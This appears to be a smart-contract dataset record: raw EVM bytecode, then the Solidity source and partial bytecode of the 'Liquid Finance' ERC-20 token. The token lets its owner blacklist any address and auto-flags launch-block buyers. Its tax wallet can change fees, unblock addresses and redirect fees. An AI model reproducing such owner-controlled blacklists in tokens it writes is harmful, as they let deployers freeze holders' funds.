ac8c7c3b925906106f69086815260200190565b60405180910390a350600192915050565b6007546001600160a01b031633146107315760405162461bcd60e51b81526004016105dd90611c7f565b6008546001600160a01b03161580159061074d57506009544210155b61075657600080fd5b600880546001600160a01b0390811660009081526005602052604081208054600160ff199091168117909155835460068054928301815583527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f9091018054919093166001600160a01b0319918216179092558254909116909155600955565b60006001600160a01b038316158015906107f957506001600160a01b0383163014155b61080257600080fd5b6001600160a01b038416331461090e576001600160a01b0384166000908152600c60209081526040808320338452909152902054600019811461090c57828110156108a15760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563645524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b60648201526084016105dd565b60006108ad8483611d07565b6001600160a01b0387166000818152600c6020908152604080832033808552908352928190208590555184815293945090927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b505b6001600160a01b038416600090815260026020526040902054828110156109475760405162461bcd60e51b81526004016105dd90611d1e565b6109518382611d07565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610987908490611d6d565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611e28833981519152856040516109c191815260200190565b60405180910390a3506001949350505050565b60006109e13383336113ad565b92915050565b6007546001600160a01b03163314610a115760405162461bcd60e51b81526004016105dd90611c7f565b60045460ff16610a2057600080fd5b6004805460ff19908116909155600780546001600160a01b039093166001600160a01b0319938416811790915560008181526005602052604081208054909316600190811790935560068054938401815590527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f9091018054909216179055565b336000818152600260205260408120549091610abd91816113ad565b905090565b3360009081526005602052604081205460ff16610af15760405162461bcd60e51b81526004016105dd90611c7f565b610afb838361145f565b50600192915050565b6007546000906001600160a01b03163314610b315760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b038216610b575760405162461bcd60e51b81526004016105dd90611d85565b60075460405142916001600160a01b03808616929116907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a450600780546001600160a01b0383166001600160a01b031991821617909155600a805490911690556000600b5560015b919050565b6007546001600160a01b03163314610bf35760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b038116610c195760405162461bcd60e51b81526004016105dd90611d85565b600a80546001600160a01b0319166001600160a01b038316179055610c416202a30042611d6d565b600b5550565b6000610c7e6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308661152c565b610606838361159d565b60068181548110610c9857600080fd5b6000918252602090912001546001600160a01b0316905081565b6001805461061a90611cb6565b3360009081526005602052604081205460ff16610cee5760405162461bcd60e51b81526004016105dd90611c7f565b610afb838361161a565b60606006805480602002602001604051908101604052809291908181526020018280548015610d5057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d32575b5050505050905090565b60006001600160a01b03831615801590610d7d57506001600160a01b0383163014155b610d8657600080fd5b3360009081526002602052604090205482811015610db65760405162461bcd60e51b81526004016105dd90611d1e565b610dc08382611d07565b33600090815260026020526040808220929092556001600160a01b03861681529081208054859290610df3908490611d6d565b90915550506040518381526001600160a01b038516903390600080516020611e28833981519152906020015b60405180910390a35060019392505050565b600454600090610100900460ff1615610e8c5760405162461bcd60e51b815260206004820152601960248201527f416e7973776170563645524332303a207661756c744f6e6c790000000000000060448201526064016105dd565b610e958261175f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031615801590610edb57503360009081526002602052604090205483115b15610f1a57610f156001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308661152c565b610f24565b610f24338461161a565b336001600160a01b03167f9c92ad817e5474d30a4378deface765150479363a897b0590fbb12ae9d89396b8484604051610f5f929190611dbc565b60405180910390a250600192915050565b6000610fa76001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308561152c565b6109e1823361159d565b6007546000906001600160a01b03163314610c7e5760405162461bcd60e51b81526004016105dd90611c7f565b6007546001600160a01b031633146110085760405162461bcd60e51b81526004016105dd90611c7f565b600480549115156101000261ff0019909216919091179055565b6007546001600160a01b0316331461104c5760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa1580156110d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fa9190611dd5565b90506111316001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308461152c565b61113b813361159d565b91505090565b6007546001600160a01b0316331461116b5760405162461bcd60e51b81526004016105dd90611c7f565b600a546001600160a01b0316158015906111875750600b544210155b61119057600080fd5b600a8054600780546001600160a01b03199081166001600160a01b038416179091551690556000600b55565b3360009081526005602052604081205460ff166111eb5760405162461bcd60e51b81526004016105dd90611c7f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316158015906112ab57506040516370a0823160e01b815230600482015282907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906370a0823190602401602060405180830381865afa158015611284573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a89190611dd5565b10155b156112e9576112e46001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168484611770565b6112f3565b6112f3838361145f565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d6184604051610e1f91815260200190565b6007546001600160a01b031633146113595760405162461bcd60e51b81526004016105dd90611c7f565b6001600160a01b03811661137f5760405162461bcd60e51b81526004016105dd90611d85565b600880546001600160a01b0319166001600160a01b0383161790556113a76202a30042611d6d565b60095550565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03161580159061141057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b61141957600080fd5b611423848461161a565b6114576001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168385611770565b509092915050565b6001600160a01b0382166114b55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016105dd565b80600360008282546114c79190611d6d565b90915550506001600160a01b038216600090815260026020526040812080548392906114f4908490611d6d565b90915550506040518181526001600160a01b03831690600090600080516020611e288339815191529060200160405180910390a35050565b6040516001600160a01b03808516602483015283166044820152606481018290526115979085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526117a5565b50505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03161580159061160057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b61160957600080fd5b611613828461145f565b5090919050565b6001600160a01b03821661167a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016105dd565b6001600160a01b038216600090815260026020526040902054818110156116ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016105dd565b6116f88282611d07565b6001600160a01b03841660009081526002602052604081209190915560038054849290611726908490611d07565b90915550506040518281526000906001600160a01b03851690600080516020611e288339815191529060200160405180910390a3505050565b600081511161176d57600080fd5b50565b6040516001600160a01b0383166024820152604481018290526117a090849063a9059cbb60e01b90606401611560565b505050565b6117b7826001600160a01b031661192c565b6118035760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016105dd565b600080836001600160a01b03168360405161181e9190611dee565b6000604051808303816000865af19150503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5091509150816118b25760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016105dd565b80511561159757808060200190518101906118cd9190611e0a565b6115975760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016105dd565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906105f15750141592915050565b80356001600160a01b0381168114610bc457600080fd5b60008060006060848603121561198f57600080fd5b61199884611963565b9250602084013591506119ad60408501611963565b90509250925092565b600080604083850312156119c957600080fd5b823591506119d960208401611963565b90509250929050565b60005b838110156119fd5781810151838201526020016119e5565b838111156115975750506000910152565b60008151808452611a268160208601602086016119e2565b601f01601f19169290920160200192915050565b6020815260006106066020830184611a0e565b60008060408385031215611a6057600080fd5b611a6983611963565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b611a9584611963565b9250611aa360208501611963565b9150604084013590509250925092565b600060208284031215611ac557600080fd5b5035919050565b600060208284031215611ade57600080fd5b61060682611963565b6020808252825182820181905260009190848201906040850190845b81811015611b285783516001600160a01b031683529284019291840191600101611b03565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215611b5d57600080fd5b82359150602083013567ffffffffffffffff80821115611b7c57600080fd5b818501915085601f830112611b9057600080fd5b813581811115611ba257611ba2611b34565b604051601f8201601f19908116603f01168101908382118183101715611bca57611bca611b34565b81604052828152886020848701011115611be357600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b801515811461176d57600080fd5b600060208284031215611c2557600080fd5b813561060681611c05565b60008060408385031215611c4357600080fd5b611c4c83611963565b91506119d960208401611963565b600080600060608486031215611c6f57600080fd5b83359250611aa360208501611963565b60208082526019908201527f416e7973776170563645524332303a20464f5242494444454e00000000000000604082015260600190565b600181811c90821680611cca57607f821691505b60208210811415611ceb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015611d1957611d19611cf1565b500390565b6020808252602f908201527f416e7973776170563645524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b60008219821115611d8057611d80611cf1565b500190565b6020808252601a908201527f416e7973776170563645524332303a2061646472657373283029000000000000604082015260600190565b8281526040602082015260006105f16040830184611a0e565b600060208284031215611de757600080fd5b5051919050565b60008251611e008184602087016119e2565b9190910192915050565b600060208284031215611e1c57600080fd5b815161060681611c0556feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220aa4398c21574e7ce85493e9f9aa5e0bbd859e6b84c0f40a153df63ee22bf771a64736f6c634300080a0033
|
{"success": true, "error": null, "results": {}}
| 3,323 |
0x5701508c2ef374562fc7060fccb1f6abc79104f1
|
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (12 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 100000000 * 10**9);
require(maxheld > 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611882565b34801561027a57600080fd5b5061028e6102893660046118fc565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611928565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e61034436600461194a565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a03660046119a1565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a66565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a83565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611a66565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611a66565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611928565b6109a7565b34801561056657600080fd5b5061028e6105753660046118fc565b6109fa565b34801561058657600080fd5b506102be6105953660046119a1565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610d17565b3480156105e557600080fd5b506102be6105f4366004611aaa565b610d2f565b34801561060557600080fd5b50610214610614366004611ac7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610da2565b6000610661338484610f6a565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461108e565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b16565b9050610735853383610f6a565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611b2d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b43565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a78161154f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611b5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b600061066133848461108e565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611b5e565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611b2d565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611b2d565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611b2d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611b43565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a781611589565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610b9057600080fd5b600754610bb09030906001600160a01b0316678ac7230489e80000610f6a565b6007546001600160a01b031663f305d7194730610bcc816108aa565b600080610be16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6e9190611b93565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ceb9190611bc1565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610d4f57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610ddc57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611bde565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed69190611bde565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f479190611bde565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610fcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b03821661102d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110d057506001600160a01b03821660009081526005602052604090205460ff16155b80156110ec57503360009081526005602052604090205460ff16155b6110f557600080fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b0385811691161480159061124a57506000546001600160a01b03848116911614155b156114f0576009546001600160a01b03858116911614801561127a57506007546001600160a01b03848116911614155b801561129f57506001600160a01b03831660009081526004602052604090205460ff16155b156113db5760105460ff166112f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f54421415611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561133357600080fd5b600e5461133f846108aa565b6113499084611bfb565b111561135457600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff166113bc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113f5575060105460ff165b801561140f57506009546001600160a01b03858116911614155b156114f05761141f42600c611bfb565b6001600160a01b0385166000908152600660205260409020541061144257600080fd5b600061144d306108aa565b905080156114d95760105462010000900460ff16156114d057600c5460095460649190611482906001600160a01b03166108aa565b61148c9190611c13565b6114969190611c32565b8111156114d057600c54600954606491906114b9906001600160a01b03166108aa565b6114c39190611c13565b6114cd9190611c32565b90505b6114d981611589565b4780156114e9576114e94761154f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061153257506001600160a01b03841660009081526004602052604090205460ff165b1561153b575060005b61154885858584866116fd565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cd576115cd611b2d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611626573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061164a9190611bde565b8160018151811061165d5761165d611b2d565b6001600160a01b0392831660209182029290920101526007546116839130911684610f6a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc9085906000